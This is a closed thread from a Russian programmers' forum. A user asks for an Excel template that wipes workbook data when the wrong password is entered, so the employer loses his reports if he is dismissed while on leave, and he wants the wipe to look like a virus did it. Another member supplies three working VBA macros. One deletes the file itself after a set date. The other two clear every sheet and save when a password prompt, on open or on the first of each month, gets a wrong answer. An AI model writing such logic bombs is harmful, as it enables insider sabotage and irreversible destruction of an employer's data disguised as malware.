Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Microsoft Office и VBA программирование > Microsoft Office Excel
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 02.09.2008, 14:41   #1
Dubineanschi
Пользователь
 
Регистрация: 02.07.2008
Сообщений: 10
По умолчанию Задача такого плана!

Все мы работаем на крупных и не очень предприятий! Придумали за год, другой - отчеты, автоматизировали всю работу! Уходишь в отпуск, передаешь свой участок на месяц! Приходишь, и тебе заявляют, что вы уволены (много зарабатываешь)! И твоим умом пользуются во всю, а ты у разбитого корыта(ЛОХ)!
Может ли кто-то сделать или есть ексель-шаблон такого плана !
В течении месяца выходил запрос на идентификацию личности, введя неправильный пароль стереть все данные безвозвратно.
Бало-бы идеально стереть все данные, как будто это сделал вирус!

Лично мне скоро в отпуск, а с начальством у меня недопонимание!

--==Думаю этот шаблон будет у многих в арсенале!==-
Dubineanschi вне форума
Старый 02.09.2008, 15:02   #2
VictorM
Старожил
 
Аватар для VictorM
 
Регистрация: 15.05.2008
Сообщений: 2,058
По умолчанию

Да, задачка интересная и злободневная.
Один из аспектов этой задачи, файл удаляет сам себя, был как-то предложен на ЭТОМ форуме Pavel55
Точно не могу вспомнить тему, думаю можно найти поиском. Или Pavel55 сам подскажет.
"Дайте людям рыбы, и вы накормите их на весь день; научите их ловить рыбу - и вы накормите их на всю жизнь"
"Большое спасибо" - Z261597841314, R208907249777, U447361470499
VictorM вне форума
Старый 02.09.2008, 16:44   #3
Konstantin_Z
Пользователь
 
Регистрация: 22.08.2008
Сообщений: 65
По умолчанию

у меня немного иначе
автоматизировать то я автоматизировал, но без меня никто разобраться не может..
Konstantin_Z вне форума
Старый 02.09.2008, 17:21   #4
Pavel55
Форумчанин
 
Регистрация: 21.08.2007
Сообщений: 292
По умолчанию

На самом деле это всё легко отключается.

Вот, как пример, макрос, который удалит файл, в котором находится, если текущая дата будет больше даты, указанной в этом коде

Код:
Private Sub ExpirationDate()
'ВНИМАНИЕ !!!!
'ТЕСТИРОВАТЬ НА НЕНУЖНОМ ФАЙЛЕ
'ФАЙЛ САМ УДАЛИТЬСЯ, ЕСЛИ ДАТА В КОДЕ БУДЕТ РАНЬШЕ, ЧЕМ СЕГОДНЯ
    If Date >= #10/1/2008# Then 'месяц/число/год
        iFullName$ = ActiveWorkbook.FullName
        Application.DisplayAlerts = False
        ActiveWorkbook.ChangeFileAccess Mode:=xlReadOnly
        Application.DisplayAlerts = True
        SetAttr iFullName$, vbNormal: Kill iFullName$
        ActiveWorkbook.Close saveChanges:=False
    End If
End Sub
Автор кода Pashulka
Pavel55 вне форума
Старый 02.09.2008, 17:59   #5
Pavel55
Форумчанин
 
Регистрация: 21.08.2007
Сообщений: 292
По умолчанию

Вот ещё можно набросать такой кодик, который надо поместить в модуль ЭтаКнига (через Alt+F11), чтобы он запрашивал пароль каждый раз при открытии книги и если ввели неправильный пароль, то он удаляет всю информацию со всех листов в книге.

Ну. это так... баловство.

Код:
Private Sub Workbook_Open()
Dim Sht As Worksheet
Dim pswd As Variant
    pswd = Application.InputBox("Введите пароль", "Пароль", "пароль", , , , , 2)
    If pswd = False Or pswd = "" Then
        For Each Sht In ThisWorkbook.Sheets
            Sht.Cells.Clear
        Next
        Me.Save
        Exit Sub
    End If
    If UCase(pswd) <> UCase("секретный пароль") Then
        For Each Sht In ThisWorkbook.Sheets
            Sht.Cells.Clear
        Next
        Me.Save
        Exit Sub
    End If
End Sub
Можно, наверное, ещё что-нибудь накрутить )
Pavel55 вне форума
Старый 02.09.2008, 18:10   #6
Dubineanschi
Пользователь
 
Регистрация: 02.07.2008
Сообщений: 10
По умолчанию

Идея какая! Фаилом могут работать кто угодно, но через каждый месяц должен выходить окно с подтверждением пароля, если пароль неверный - все стереть(Нах)!
Dubineanschi вне форума
Старый 02.09.2008, 18:33   #7
Pavel55
Форумчанин
 
Регистрация: 21.08.2007
Сообщений: 292
По умолчанию

Вот для первого числа каждого месяца

Код:
Private Sub Workbook_Open()
Dim Sht As Worksheet
Dim pswd As Variant
    If Format(Date, "dd") = "01" Then
        pswd = Application.InputBox("Введите пароль", "Пароль", "пароль", , , , , 2)
        If pswd = False Or pswd = "" Then
            For Each Sht In ThisWorkbook.Sheets
                Sht.Cells.Clear
            Next
            Me.Save
            Exit Sub
        End If
        If UCase(pswd) <> UCase("секретный пароль") Then
            For Each Sht In ThisWorkbook.Sheets
                Sht.Cells.Clear
            Next
            Me.Save
            Exit Sub
        End If
    End If
End Sub
Pavel55 вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
задача по ООП Lenivec** Фриланс 2 17.07.2008 15:17
задача составления производственного плана(на pascal'e и т.д) VDK23 Помощь студентам 7 06.04.2008 01:26
Задача по ТП. GE076 Помощь студентам 11 07.12.2007 19:29